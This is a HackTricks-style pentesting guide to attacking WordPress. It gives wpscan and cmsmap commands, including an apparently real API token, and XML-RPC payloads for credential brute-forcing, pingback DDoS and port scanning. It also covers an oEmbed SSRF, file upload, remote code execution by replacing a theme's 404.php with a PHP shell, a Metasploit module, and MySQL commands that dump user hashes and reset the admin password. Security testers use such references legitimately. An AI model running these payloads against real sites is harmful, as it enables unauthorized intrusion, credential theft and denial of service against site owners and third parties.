hacktricks/pentesting/pentesting-web/wordpress.md

210 lines
45 KiB
Markdown
Raw Normal View History

# Wordpress
## Basic Information
**Uploaded** files go to: _http://10.10.10.10/wp-content/uploads/2018/08/a.txt_
**Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: ****Using **theme twentytwelve** you can **access** the **404.php** file in**:** [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
**Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\*\*\*\*
In **wp-config.php** you can find the root password of the database.
Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
## **Enumeration**
```bash
cmsmap -s http://www.48pallmall.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap --url http://www.domain.com --api-token qNzF78w2S7s8QarQ2ISZbNR2Gq4FOmJV05HGjwvRMlM --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
### Information Disclosure
Inside the Wordpress folder try to access:
* _**/wp-json/wp/v2/users**_ -- This could leak usernames
* _**/wp-json/wp/v2/pages**_ -- This could leak IP address
### XML-RPC
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources.
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
#### Check
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
#### Credentials Bruteforce
_**wp.getUserBlogs**_, _**wp.getCategories**_ or _**metaWeblog.getUsersBlogs**_ are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
![](data:image/jpeg;base64,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
#### DDoS or port scanning
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** \(so a **DDoS** is caused in that location\) or you can use it to make **Wordpress** lo **scan** some internal **network** \(you can indicate any port\).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
![](../../.gitbook/assets/1_jauyizf8zjdggb7ocszc-g.png)
If you get **faultCode** with ****a value **greater** then **0** \(17\), it means the port is open.
Take a look to the use of **`system.multicall`**in the previous section to learn how to abuse this method to cause DDoS.
### wp-cron.php DoS
This file usually exists under the root of the Wordpress site: `/wp-cron.php`
When this file is **accessed** a "**heavy**" MySQL **query** is performed, so I could be used by **attackers** to **cause** a **DoS**.
Also, by default, the `wp-cron.php` is called on every page load \(anytime a client requests any Wordpress page\), which on high-traffic sites can cause problems \(DoS\).
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval \(without causing issues\).
#### **Bruteforce**
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>username</value></param>
<param><value>password</value></param>
</params>
</methodCall>
```
![](../../.gitbook/assets/image%20%2890%29.png)
![](../../.gitbook/assets/image%20%28224%29.png)
Using the correct credentials you can upload a file. In the response the path will appears \([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)\)
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
#### DDOS
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](../../.gitbook/assets/image%20%28203%29.png)
### /wp-json/oembed/1.0/proxy - SSRF
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
This is the response when it doesn't work:
![](../../.gitbook/assets/image%20%28127%29.png)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
## **Panel RCE**
#### **Modifying a php from the theme used \(admin credentials needed\)**
Appearance → Editor → 404 Template \(at the right\)
Change the content for a php shell:
![](../../.gitbook/assets/image%20%28125%29.png)
Search in internet how can you access that updated page. In thi case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
You can use:
```text
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
## POST
Extract usernames and passwords:
```text
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Change admin password:
```text
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## \*\*\*\*